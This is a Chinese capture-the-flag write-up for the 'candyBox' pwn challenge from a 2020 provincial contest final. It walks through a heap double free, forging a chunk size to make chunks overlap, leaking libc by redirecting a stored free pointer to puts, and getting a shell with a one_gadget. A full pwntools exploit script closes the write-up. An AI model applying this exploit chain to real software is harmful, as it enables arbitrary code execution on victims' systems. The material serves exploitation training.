2020省賽決賽
阿新 • • 發佈:2020-10-29
candyBox
檢視程式開的保護
got表是可以改寫。
程式是比較簡短的,只有create和del兩個函式。值得注意的是它分配出的chunk結果比較獨特,如下
在1號位上放info或存放info的chunk的地址,這個取決於輸入的info的長度。2號位上存放的是輸入info的長度,3號位上存放的是freeLittle或freeBig的地址。
這題的關鍵是洩漏libc的地址。下面分析洩漏方法。
先分配幾個chunk,為下面的構造做準備
Add(0x8, '\x00'*0x8) Add(0x8, '\x00'*0x8) Add(0x9, 'A'*8 + '\x31') #2Add(0x9, 'A'*8 + '\x31') #3 Add(0x9, 'A'*8 + '\x31') #4 Add(0x9, 'A'*8 + '\x31') #5 Add(0x9, 'A'*8 + '\x31') #6 Add(0x9, 'A'*8 + '\x31') #7 Add(0x9, 'A'*8 + '\x31') #8
因為2號位的存放的info的長度會影響接下來的構造,所以先把他們清零
Delete(2) Add(0x8, '\x00'*8) Delete(4) Add(0x8, '\x00'*8)
double free修改chunk size構造overlap
Delete(0) Delete(1) Delete(0) # 修改chunk size Add(0x2, '\x70\x00') Add(0x8, '\x00'*8) gdb.attach(p, 'b * $rebase(0x10e0)\nc') Add(0x1a, 'A'*0x18 + '\xc1\x00')
接下來修改3號位的地址為puts的地址,這裡需要爆破倒數第四個十六進位制位的值。修改後呼叫free函式就可以洩漏資料了。
Delete(0) Delete(1) Delete(0) Add(0x2, '\xd0\x00') Add(0x8, '\x00'*8) Add(0x8, '\x00'*8) Add(0x8, '\x00'*8) try: Add(0xb, 'A'*8 + '\x60\x49\x00') Delete(3) Add(0x8, '\x00'*8) # leak libc address Delete(4) libc_base = u64(p.recvuntil('\x7f\x0a')[-7:-1] + b'\x00\x00') - 0x3c4b78 libc.address = libc_base info("libc_base ==> " + hex(libc_base)) except: p.close() return 0
之後在此修改3號位的值為one_gadet就可getshell
完整exp如下:
#!/usr/bin/python3 from pwn import * context.log_level = 'debug' context.terminal = ['tmux', 'splitw', '-h', '-p', '60'] global p libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') def Add(size, content): p.sendlineafter('Remove a candy:', '1') p.sendlineafter('Size: ', str(size)) p.sendafter('Taste: ', content) def Delete(index): p.sendlineafter('Remove a candy:', '2') p.sendlineafter('id:', str(index)) p.sendlineafter('serious?', 'yes') def pwn(): global p p = process('./candyBox') Add(0x8, '\x00'*0x8) Add(0x8, '\x00'*0x8) Add(0x9, 'A'*8 + '\x31') #2 Add(0x9, 'A'*8 + '\x31') #3 Add(0x9, 'A'*8 + '\x31') #4 Add(0x9, 'A'*8 + '\x31') #5 Add(0x9, 'A'*8 + '\x31') #6 Add(0x9, 'A'*8 + '\x31') #7 Add(0x9, 'A'*8 + '\x31') #8 Delete(2) Add(0x8, '\x00'*8) Delete(4) Add(0x8, '\x00'*8) Delete(0) Delete(1) Delete(0) # 修改chunk size Add(0x2, '\x70\x00') Add(0x8, '\x00'*8) gdb.attach(p, 'b * $rebase(0x10e0)\nc') Add(0x1a, 'A'*0x18 + '\xc1\x00') Delete(0) Delete(1) Delete(0) Add(0x2, '\xd0\x00') Add(0x8, '\x00'*8) Add(0x8, '\x00'*8) Add(0x8, '\x00'*8) try: Add(0xb, 'A'*8 + '\x60\x49\x00') Delete(3) Add(0x8, '\x00'*8) # leak libc address Delete(4) libc_base = u64(p.recvuntil('\x7f\x0a')[-7:-1] + b'\x00\x00') - 0x3c4b78 libc.address = libc_base info("libc_base ==> " + hex(libc_base)) except: p.close() return 0 one_gadget = [0x45226, 0x4527a, 0xf0364, 0xf1207] Delete(0) Add(0x20, b'A'*0x18 + p64(one_gadget[1] + libc_base)) Delete(4) p.interactive() p.close() return 1 if __name__ == '__main__': while True: a = pwn() if a: break